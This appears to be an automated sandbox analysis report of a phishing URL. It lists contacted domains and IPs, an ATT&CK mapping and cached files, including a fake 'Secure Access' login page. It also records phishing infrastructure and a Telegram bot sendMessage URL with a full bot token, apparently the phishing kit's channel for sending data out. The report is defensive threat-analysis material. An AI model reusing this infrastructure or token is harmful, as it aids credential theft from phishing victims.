Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	3 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://ralph.owa-netbros.shop/67f6835c479eb29c9fc8721b?utm_source=%7Br%7D&utm_medium=%7Br%7D&utm_campaign=%7Br%7D	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://np.midway-games.shop/	0%	Avira URL Cloud	safe
https://nero.kempo-karic.shop/styles.css	0%	Avira URL Cloud	safe
https://nero.kempo-karic.shop/favicon.ico	0%	Avira URL Cloud	safe
https://nero.kempo-karic.shop/cdn-cgi/challenge-platform/scripts/jsd/main.js	0%	Avira URL Cloud	safe
https://oka.greenthreads.hr/_next/static/qG6qgSnklpcbRb9BMWSId/_buildManifest.js	0%	Avira URL Cloud	safe
https://nero.kempo-karic.shop/cdn-cgi/challenge-platform/h/b/jsd/r/0.3809236297663976:1744738218:dh8UM0OA3R3TRKLnGxn5QeCH6HsMhAaIP_IuOoiA6TU/930d6048ad517b37	0%	Avira URL Cloud	safe
https://oka.greenthreads.hr/_next/static/qG6qgSnklpcbRb9BMWSId/_ssgManifest.js	0%	Avira URL Cloud	safe
https://nero.kempo-karic.shop/script.js	0%	Avira URL Cloud	safe
https://nero.kempo-karic.shop/cdn-cgi/challenge-platform/h/b/scripts/jsd/580ba44007a6/main.js?	0%	Avira URL Cloud	safe
https://k-bot-production.up.railway.app/api/detect_bot	0%	Avira URL Cloud	safe
https://oka.greenthreads.hr/_next/static/chunks/pages/index-dadb5f79ae394453.js	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
d26p066pn2w0s0.cloudfront.net	3.161.136.8	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
nero.kempo-karic.shop	104.21.16.1	true	false	unknown
patnero.thesilent.de	216.24.57.1	true	false	high
classntfst.shop	104.21.88.234	true	false	high
www.gravatar.com	192.0.73.2	true	false	high
oka.greenthreads.hr	76.76.21.21	true	false	high
www.google.com	173.194.219.99	true	false	high
wdc.ttrk.io	5.161.110.119	true	false	high
api.telegram.org	149.154.167.220	true	false	high
edge.railway.app	66.33.22.4	true	false	high
api64.ipify.org	173.231.16.77	true	false	high
k-bot-production.up.railway.app	unknown	unknown	true	unknown
ralph.owa-netbros.shop	unknown	unknown	true	unknown
logo.clearbit.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://oka.greenthreads.hr/background.jpg	false		high
https://nero.kempo-karic.shop/cdn-cgi/challenge-platform/scripts/jsd/main.js	false	Avira URL Cloud: safe	unknown
https://nero.kempo-karic.shop/styles.css	false	Avira URL Cloud: safe	unknown
https://nero.kempo-karic.shop/favicon.ico	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot7622174179:AAHCV1oWQuJrs_r4R6A1iMz0oaj3zWCQiPk/sendMessage	false		high
https://a.nel.cloudflare.com/report/v4?s=F19hcpuZzNU3kKuxi9tCv1Bft27sWiTrJTX3naYHbeCQgWh0PC8%2FkFZJ8a6%2FQg3%2Fu7JBVOMGFF9VKIHJHsSdNgcO%2FFW3YKDZInzb%2BMyf39MAXNTP7XuZyqPI2vqA7nE0YJiGF94QkPY%3D	false		high
https://nero.kempo-karic.shop/script.js	false	Avira URL Cloud: safe	unknown
https://api64.ipify.org/?format=json	false		high
https://oka.greenthreads.hr/_next/static/chunks/framework-2c79e2a64abdb08b.js	false		high
https://classntfst.shop/ne/	false		high
https://ralph.owa-netbros.shop/67f6835c479eb29c9fc8721b?utm_source=%7Br%7D&utm_medium=%7Br%7D&utm_campaign=%7Br%7D	false		unknown
http://c.pki.goog/r/r4.crl	false		high
https://patnero.thesilent.de/api/get_doc_url	false		high
https://oka.greenthreads.hr/	false		high
https://nero.kempo-karic.shop/cdn-cgi/challenge-platform/h/b/jsd/r/0.3809236297663976:1744738218:dh8UM0OA3R3TRKLnGxn5QeCH6HsMhAaIP_IuOoiA6TU/930d6048ad517b37	false	Avira URL Cloud: safe	unknown
https://oka.greenthreads.hr/_next/static/chunks/main-de1ad41d606513c1.js	false		high
https://www.gravatar.com/avatar/ebd41932ef87773e1b196b90510e3a5b?d=identicon	false		high
https://oka.greenthreads.hr/_next/static/qG6qgSnklpcbRb9BMWSId/_ssgManifest.js	true	Avira URL Cloud: safe	unknown
https://nero.kempo-karic.shop/?rtkcid=67fea01a335d4814fb08ba90&rtkcmpid=67f6835c479eb29c9fc8721b	false		unknown
https://oka.greenthreads.hr/_next/static/chunks/webpack-ee7e63bc15b31913.js	false		high
https://oka.greenthreads.hr/_next/static/chunks/186-e401717d9e8b842b.js	false		high
https://logo.clearbit.com/irk.org	false		high
https://nero.kempo-karic.shop/cdn-cgi/challenge-platform/h/b/scripts/jsd/580ba44007a6/main.js?	false	Avira URL Cloud: safe	unknown
https://k-bot-production.up.railway.app/api/detect_bot	true	Avira URL Cloud: safe	unknown
https://oka.greenthreads.hr/_next/static/qG6qgSnklpcbRb9BMWSId/_buildManifest.js	true	Avira URL Cloud: safe	unknown
https://oka.greenthreads.hr/_next/static/chunks/pages/index-dadb5f79ae394453.js	true	Avira URL Cloud: safe	unknown
https://oka.greenthreads.hr/favicon.ico	false		high
https://oka.greenthreads.hr/_next/static/chunks/pages/_app-aea6920bd27938ca.js	false		high
https://a.nel.cloudflare.com/report/v4?s=93PnrhXdLQO35JYf0xg%2BWGo9GJ6lrYRGx%2BmPOzecpLMxtHevBKd7EW4thpK2ktn4Aa8o1liy9zP%2FWhqiJ%2FTz%2BUp1knRO1VSFIBxunMpEC4UIYTzjAMmqXYSQO%2B9yrH8UBnUr0bNBobE%3D	false		high
https://oka.greenthreads.hr/_next/static/css/19d09a6113afa007.css	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot	chromecache_84.1.dr	false		high
https://api64.ipify.org?format=json	chromecache_84.1.dr, chromecache_83.1.dr	false		high
https://feross.org	chromecache_71.1.dr	false		high
https://np.midway-games.shop/	chromecache_84.1.dr	false	Avira URL Cloud: safe	unknown
https://vercel.live/_next-live/feedback/feedback.js	chromecache_89.1.dr	false		high
https://www.gravatar.com/avatar/	chromecache_84.1.dr	false		high
https://logo.clearbit.com/	chromecache_84.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.16.1	nero.kempo-karic.shop	United States	13335	CLOUDFLARENETUS	false
104.21.88.234	classntfst.shop	United States	13335	CLOUDFLARENETUS	false
5.161.110.119	wdc.ttrk.io	Germany	24940	HETZNER-ASDE	false
104.21.64.1	unknown	United States	13335	CLOUDFLARENETUS	false
216.24.57.1	patnero.thesilent.de	United States	397273	RENDERUS	false
173.194.219.99	www.google.com	United States	15169	GOOGLEUS	false
192.0.73.2	www.gravatar.com	United States	2635	AUTOMATTICUS	false
66.33.22.3	unknown	Canada	13768	COGECO-PEER1CA	false
66.33.22.4	edge.railway.app	Canada	13768	COGECO-PEER1CA	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
3.161.136.8	d26p066pn2w0s0.cloudfront.net	United States	16509	AMAZON-02US	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
173.231.16.77	api64.ipify.org	United States	18450	WEBNXUS	false
76.76.21.21	oka.greenthreads.hr	United States	16509	AMAZON-02US	false

Private

IP
192.168.2.17
192.168.2.18
192.168.2.10

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1665759
Start date and time:	2025-04-15 20:05:15 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://ralph.owa-netbros.shop/67f6835c479eb29c9fc8721b?utm_source=%7Br%7D&utm_medium=%7Br%7D&utm_campaign=%7Br%7D
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.phis.troj.win@24/47@42/17
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): sppsvc.exe, SIHClient.exe, Sgrmuserer.exe, svchost.exe, TextInputHost.exe
Excluded IPs from analysis (whitelisted): 74.125.138.100, 74.125.138.139, 74.125.138.113, 74.125.138.102, 74.125.138.101, 74.125.138.138, 142.250.9.94, 173.194.219.84, 108.177.122.101, 108.177.122.113, 108.177.122.102, 108.177.122.139, 108.177.122.100, 108.177.122.138, 74.125.136.138, 74.125.136.101, 74.125.136.139, 74.125.136.102, 74.125.136.113, 74.125.136.100, 74.125.21.139, 74.125.21.101, 74.125.21.113, 74.125.21.102, 74.125.21.100, 74.125.21.138, 199.232.214.172, 173.194.219.100, 173.194.219.113, 173.194.219.139, 173.194.219.102, 173.194.219.138, 173.194.219.101, 142.250.9.139, 142.250.9.138, 142.250.9.102, 142.250.9.113, 142.250.9.100, 142.250.9.101, 74.125.136.95, 142.251.15.95, 64.233.185.95, 173.194.219.95, 172.217.215.95, 142.250.105.95, 108.177.122.95, 74.125.21.95, 172.253.124.95, 74.125.138.95, 142.250.9.95, 172.217.215.94, 4.245.163.56, 23.76.34.6, 172.202.163.200
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com, c.pki.goog
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://ralph.owa-netbros.shop/67f6835c479eb29c9fc8721b?utm_source=%7Br%7D&utm_medium=%7Br%7D&utm_campaign=%7Br%7D

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1515), with no line terminators
Category:	dropped
Size (bytes):	1515
Entropy (8bit):	5.288161100448261
Encrypted:	false
SSDEEP:	24:NQiVY49x35poVuJbn81ekVXVYFf+8HWvKhbNCemICebO/Vlc5Mz8Dj2pLerSvJKJ:6OY+bvo1HXVufFAoNdCebONw4OKMeMJ
MD5:	358DF2F88C6CB7B259F7DFA5095500D5
SHA1:	61141300014610F6DF77001775A2B8685B2985A0
SHA-256:	6714626B550B8D9D9FBF11B56DC2CDFF65466D4E2BF4293FF5B92952B232393D
SHA-512:	D45645CD0F4CEC02A7768C24A10D0D687F0A9A07875E203B51CCDBAF45DCB352D7C7DDFA626A57A5A8D097BF567D46FEC5D96744BC35CE47682C1E39D42F52AC
Malicious:	false
Reputation:	low
Preview:	.Index_loginContainer__5jP50{text-align:center;height:100vh;display:flex;justify-content:center;align-items:center;background:url(/background.jpg) no-repeat 50% fixed;background-size:cover;color:#333}.Index_loginBox__TjgDC{background:hsla(0,0%,100%,.9);border-radius:10px;padding:20px;width:300px;box-shadow:0 4px 6px rgba(0,0,0,.1);outline:2px solid #000}.Index_logo___RQb3{width:64px;height:64px;margin:0 auto 20px}.Index_instruction__zKWvQ{font-family:Arial,sans-serif;font-size:16px;color:#555;margin-bottom:20px}.Index_modal__Vdljb{position:fixed;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,.5);display:flex;justify-content:center;align-items:center;z-index:1000}.Index_modalContent__dAUWU{background:#fff;padding:20px 30px;border-radius:10px;text-align:center;font-size:18px;font-weight:700}.Index_dots__9eVYy{display:inline-block;animation:Index_dots__9eVYy 1.2s steps(4) infinite}@keyframes Index_dots__9eVYy{0%{content:""}25%{content:"."}50%{content:".."}75%{content:"..."}}.Index_en

Chrome Cache Entry: 64

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.625
Encrypted:	false
SSDEEP:	3:HfTORnYn:qRnY
MD5:	9B5719B531993D7EEF5EB4C692F2238C
SHA1:	9C9A21624C975F0741B743348DE85A09FDA7E669
SHA-256:	27008C4818CC0695B1496B0E8026DDFB7999C7FA066F78C61A76AF0FFECEF4BF
SHA-512:	39CC9DC2E4DACFA6D1D7E23759ED7FB13C3111992BCA5DAA97CE1ADB37205056118FC1105D85E38B8E902A2F8CD68656AD36D53642DE60368E054BE86942BBA8
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChRDaHJvbWUvMTM0LjAuNjk5OC4zNhIZCcH8_Te5HSm9EgUNUAuvsCFR37WRZCcYAw==?alt=proto
Preview:	CgkKBw1QC6+wGgA=

Chrome Cache Entry: 65

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 120x120, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=1, orientation=upper-left], baseline, precision 8, 1920x1034, components 3
Category:	downloaded
Size (bytes):	114870
Entropy (8bit):	7.375425337971249
Encrypted:	false
SSDEEP:	1536:UYVEImav9k/V8WQoVJhaqY/uM3yKhWCOXDSiY0K6b3v2rqgRvsYq:lrFsx/Oz3DOTJY0Nb3veqgRvsYq
MD5:	45068F0ED4F904B59752FCAA6D8D3E7E
SHA1:	49DC43B0FEB73AF09EE872C262CB45591D77A215
SHA-256:	B16B43D0FA5E1715210552162B5059F379A69079C44E2A15690F27508AAADE9E
SHA-512:	C6151A108DB6A654452D8B77AB8604B6977F5710C38F8EB7968C6F3110B1D4B732D0334BA8A12084A6F121354458D4AE5E94F14C390A4239570780B1175E7D0C
Malicious:	false
Reputation:	low
URL:	https://oka.greenthreads.hr/background.jpg
Preview:	......JFIF.....x.x....."Exif..MM..........................C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....4..>..........<....n.T_............^./..o....u........y............ ......v><.{y./.k.h....$N.-......W.....w..wiF..9.m..c......w...%..!_..K+.k<..J.+3:.........Vj....5y>e...?.7........>....#..}...YI.r..:....>Y-.w.w.....I.!....o...w.e..6\D..K,..<...Wy6...........1.D..n!.;..v....Gs...o.......c..\3G.F.\6.......q.6..F......H

Chrome Cache Entry: 66

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 96 x 96, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	819
Entropy (8bit):	7.451551279226306
Encrypted:	false
SSDEEP:	24:C/6f+Xel9sovQxFX0+gWYHBBoamGa9Kttt:C/6f+uluW6h0+UHBgGa9KJ
MD5:	4B5FEBB3FB4517A225620B5FE05016D2
SHA1:	02F3621A49871422123E5D560CFFDE14F6C719D5
SHA-256:	FA2E9317D000C52911C303166AB105CB0BC76D06783F5C069E8388556CA544E3
SHA-512:	80C0909A2F8CF64C97EE888CF7A039C6E22B6FCB02666277E3A6087ABE258763F69C7CC1B65BACDAE5AC5FF3C7C1015E297E3ADE494B81E86AE0C20A0F36A787
Malicious:	false
Reputation:	low
URL:	https://oka.greenthreads.hr/favicon.ico
Preview:	.PNG........IHDR...`...`......w8....pHYs.................IDATx..1..A....A.,...b.......r..;.lm.....;K.B,m--l,.D.R$!..U.j#+...w...dgg...I....7K............1.>7..{.'.T.^jEw....].-...ue...8..........9&#..LO...a7........\..]q...MG Kz=.MG Kz..$.u].er.^...@b^.W@.^.....5....u.s.]z].}Wg..'........0..G.....+.......`.^......iw6.nM...g...X.......7...RI[.@$....t.d..B.Q...X.. X.......}....@.X.PP\..L.......@x..................."((.(.....DPP.P....(..... ((.P.AA!@APP\. ..B.....@A.....AAq...................._\|..Vt..-...@..-1..B)..y.CE;.[....ZD.....RQLy..}7.$..3..hn..N8_3#L...#..?...}.R36.Mbhn..YY...0}.j..^.W......S].......f.7?.ba..j."..R[......`%...^mE......n...}.y...:;..7...0=..........(.N......i...gU.&g....P.c..c..5.rK..G.....y.._........V..ke....]........0.......+......IEND.B`.

Chrome Cache Entry: 67

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 120x120, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=1, orientation=upper-left], baseline, precision 8, 1920x1034, components 3
Category:	dropped
Size (bytes):	114870
Entropy (8bit):	7.375425337971249
Encrypted:	false
SSDEEP:	1536:UYVEImav9k/V8WQoVJhaqY/uM3yKhWCOXDSiY0K6b3v2rqgRvsYq:lrFsx/Oz3DOTJY0Nb3veqgRvsYq
MD5:	45068F0ED4F904B59752FCAA6D8D3E7E
SHA1:	49DC43B0FEB73AF09EE872C262CB45591D77A215
SHA-256:	B16B43D0FA5E1715210552162B5059F379A69079C44E2A15690F27508AAADE9E
SHA-512:	C6151A108DB6A654452D8B77AB8604B6977F5710C38F8EB7968C6F3110B1D4B732D0334BA8A12084A6F121354458D4AE5E94F14C390A4239570780B1175E7D0C
Malicious:	false
Reputation:	low
Preview:	......JFIF.....x.x....."Exif..MM..........................C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....4..>..........<....n.T_............^./..o....u........y............ ......v><.{y./.k.h....$N.-......W.....w..wiF..9.m..c......w...%..!_..K+.k<..J.+3:.........Vj....5y>e...?.7........>....#..}...YI.r..:....>Y-.w.w.....I.!....o...w.e..6\D..K,..<...Wy6...........1.D..n!.;..v....Gs...o.......c..\3G.F.\6.......q.6..F......H

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65202)
Category:	downloaded
Size (bytes):	141052
Entropy (8bit):	5.268092028848304
Encrypted:	false
SSDEEP:	1536:2YjvmNg6kMudjY+o3F36qmk1S/qcnde//ZQg:Dj7UN6qT1S5cXmg
MD5:	7FC4BED6B4319C62343F0BF5DB91A5BB
SHA1:	6E283C4EA2B12DA64476AF280236A8C5D85DBBBC
SHA-256:	F2AE26FF518D9519AFD2A3DC277D84E098458E6B6B85FA9548CDA2BED24435E7
SHA-512:	E2E0072386F2F35690899509229136406C27C2B95E3E8CC810AEB6630D7F13BD0872E0F6E650B4FDDCE2567680E7C42EEA49C62BD2653006F5151D9BA0430CD7
Malicious:	false
Reputation:	low
URL:	https://oka.greenthreads.hr/_next/static/chunks/framework-2c79e2a64abdb08b.js
Preview:	"use strict";(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[774],{4448:function(e,n,t){/*. @license React. * react-dom.production.min.js. . Copyright (c) Facebook, Inc. and its affiliates.. . This source code is licensed under the MIT license found in the. * LICENSE file in the root directory of this source tree.. */var r,l,a,u,o,i,s=t(7294),c=t(3840);function f(e){for(var n="https://reactjs.org/docs/error-decoder.html?invariant="+e,t=1;t<arguments.length;t++)n+="&args[]="+encodeURIComponent(arguments[t]);return"Minified React error #"+e+"; visit "+n+" for the full message or use the non-minified dev environment for full errors and additional helpful warnings."}var d=new Set,p={};function m(e,n){h(e,n),h(e+"Capture",n)}function h(e,n){for(p[e]=n,e=0;e<n.length;e++)d.add(n[e])}var g=!("undefined"==typeof window\|\|void 0===window.document\|\|void 0===window.document.createElement),v=Object.prototype.hasOwnProperty,y=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	23
Entropy (8bit):	3.2903216092483056
Encrypted:	false
SSDEEP:	3:YMMLULLKUHY:YMMLULLKeY
MD5:	E739C96000CE531354126A01FC097082
SHA1:	6FA824EA276F09CD0B7743F3319063E46BAFD776
SHA-256:	E5C166966FE5606039C4C81D6AED682C133986CAC01F1B557229DFCC929B4542
SHA-512:	5C6D5AA847A21D7AF4BD29D05F981EE58D2A1B48AB13FE3354616DE1C5E6127BF76BC58E49C03839B61A2230E1653D74263BD00AC719A0DF954AF172FE53976E
Malicious:	false
Reputation:	low
Preview:	{"ip":"89.187.171.161"}

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	280
Entropy (8bit):	5.255155675654176
Encrypted:	false
SSDEEP:	6:XzjbdHhjbzrrm8FxkvV+3rbXY5+MiTYpz0RryQJ6dLt:fbjrm8FxAU7bXP1Ypz0dyQULt
MD5:	FEE534CEE4DA1C4A41D1EE54F48DB65B
SHA1:	DAE46FEEA39BBBA346DA2DB16C4DF5B7E90A1357
SHA-256:	159DCBF63601BDFCB99D7389FD4D70F185A6A8E308068072B443BB06F1D74CD5
SHA-512:	95F916B9754F1E9B73246EB87E10AF666FC07B2F2A2CABB7A4DB1D924115FD8F27FF097702DE5697E91B61A3E5DE59D55F80925198BAD31F02E54B7AC9AF329D
Malicious:	false
Reputation:	low
URL:	https://oka.greenthreads.hr/_next/static/chunks/pages/_app-aea6920bd27938ca.js
Preview:	(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[888],{1597:function(n,_,u){(window.__NEXT_P=window.__NEXT_P\|\|[]).push(["/_app",function(){return u(5035)}])}},function(n){var _=function(_){return n(n.s=_)};n.O(0,[774,179],function(){return _(1597),_(6885)}),_N_E=n.O()}]);

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (57744)
Category:	downloaded
Size (bytes):	64992
Entropy (8bit):	5.454835624756822
Encrypted:	false
SSDEEP:	768:ok2S853vbYEfEA+pMTaiLD1UFvKM9MfNP/HmaF23zYT1PlipuAU3QgSv9AZitoP8:Db8lvbvTleifGwkMfNPeJmdiGSvQuF
MD5:	575C44CD8AFE1990210F891769BC660A
SHA1:	75B0609D9F1A9124ED4E27F3FBD232B8985E6B0F
SHA-256:	E2EFBA3AD9DEACFED91542891E1D8EB0859C0D47371A5A8E3809992320F7DAF6
SHA-512:	862619470AC49D0DC89F6FF3C1BB9AB7891DAA1A55E559F73E8B71559ACA1BE7130D3ECE4CCFFC5DDE98F9A70F96446BAD17E753677D096FEB21A7954416DA58
Malicious:	false
Reputation:	low
URL:	https://oka.greenthreads.hr/_next/static/chunks/186-e401717d9e8b842b.js
Preview:	(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[186],{487:function(t){var e={utf8:{stringToBytes:function(t){return e.bin.stringToBytes(unescape(encodeURIComponent(t)))},bytesToString:function(t){return decodeURIComponent(escape(e.bin.bytesToString(t)))}},bin:{stringToBytes:function(t){for(var e=[],r=0;r<t.length;r++)e.push(255&t.charCodeAt(r));return e},bytesToString:function(t){for(var e=[],r=0;r<t.length;r++)e.push(String.fromCharCode(t[r]));return e.join("")}}};t.exports=e},1012:function(t){var e,r;e="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",r={rotl:function(t,e){return t<<e\|t>>>32-e},rotr:function(t,e){return t<<32-e\|t>>>e},endian:function(t){if(t.constructor==Number)return 16711935&r.rotl(t,8)\|4278255360&r.rotl(t,24);for(var e=0;e<t.length;e++)t[e]=r.endian(t[e]);return t},randomBytes:function(t){for(var e=[];t>0;t--)e.push(Math.floor(256*Math.random()));return e},bytesToWords:function(t){for(var e=[],r=0,n=0;r<t.length;r++,n+=8)e[n>>>5]\|=t[r]<<2

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (945), with CRLF line terminators
Category:	downloaded
Size (bytes):	3104
Entropy (8bit):	5.152380223991244
Encrypted:	false
SSDEEP:	48:tlNBnMbWPgM74FAMcKn2cdqZ32L3H8hGLrGWySTw2wptI8Id62:7TM+xoXq5nx/IH
MD5:	FB8CB17AE91C83039C87AFF33086D3DD
SHA1:	68939803C4DC5D8F25EC35E1B420E16A19518705
SHA-256:	D8C49AC149AB71175037DCBC5B9002F5AF06FDE4218B837D9062583A222D4407
SHA-512:	E0DE674E3056DF5F899F24BC149ACE55E3B46E25B3F2730B9F8D8CDDE856DA98C668B7EA46096BF6AFBA38337F493545E13CD1D4C00C21040ECCC4CE7488010F
Malicious:	false
Reputation:	low
URL:	https://nero.kempo-karic.shop/?rtkcid=67fea01a335d4814fb08ba90&rtkcmpid=67f6835c479eb29c9fc8721b
Preview:	<!DOCTYPE html>..<html lang="en">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <title>Secure Access</title>.. <link rel="stylesheet" href="styles.css">..</head>..<body>.... <div class="container">.. . Inline SVG Logo Instead of "Secure Access" -->.. <div class="logo">.. <svg width="80" height="80" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">.. <path d="M14 2H6C4.9 2 4 2.9 4 20C4 21.1 4.9 22 6 22H18C19.1 22 20 21.1 20 20V8L14 2Z" fill="#0078D4"/>.. <path d="M14 2V8H20" fill="#005a9e"/>.. <rect x="7" y="12" width="10" height="2" rx="1" fill="white"/>.. <rect x="7" y="16" width="10" height="2" rx="1" fill="white"/>.. </svg>.. </div>.... <p id="processingText">Processing your request... Please wait.</p> . Added ID -->.... <div class="progress-container">..

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30
Entropy (8bit):	3.7898980954642876
Encrypted:	false
SSDEEP:	3:YA8rUqSABHY:YAoHxY
MD5:	AEBF9043D448873288600E6832155581
SHA1:	8B38939D872AA09820A6DD8A540F1F4BFB28D082
SHA-256:	A95FC358ABDCCAEDAA897D7B52208A16BE222DB5273AF907DA49EA31F40FAD0A
SHA-512:	9ADDBE099009DC584C3CAE26E95865DDCB35F35658EAECF2863E54ECFB10A73E72BB8D4883D4B7EAB1117C9B1A50FD553A157D7019875187A9B8947AF3449BB3
Malicious:	false
Reputation:	low
Preview:	{"error":"Method not allowed"}

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	154
Entropy (8bit):	4.794666354490683
Encrypted:	false
SSDEEP:	3:PouV7uJzhquHbtt6vYk2ZRMRJfHKERSAEtvxLrXZiLKY8KE9DwVJ0VXAtK6c4NGL:hxuJzhqIzyYk+qRU4zEdxXZiqf9cRK3T
MD5:	53E58F134037BDAD4234CCF3F379F815
SHA1:	95118E29693F831B43F533CF4E0EBA604BF56CE5
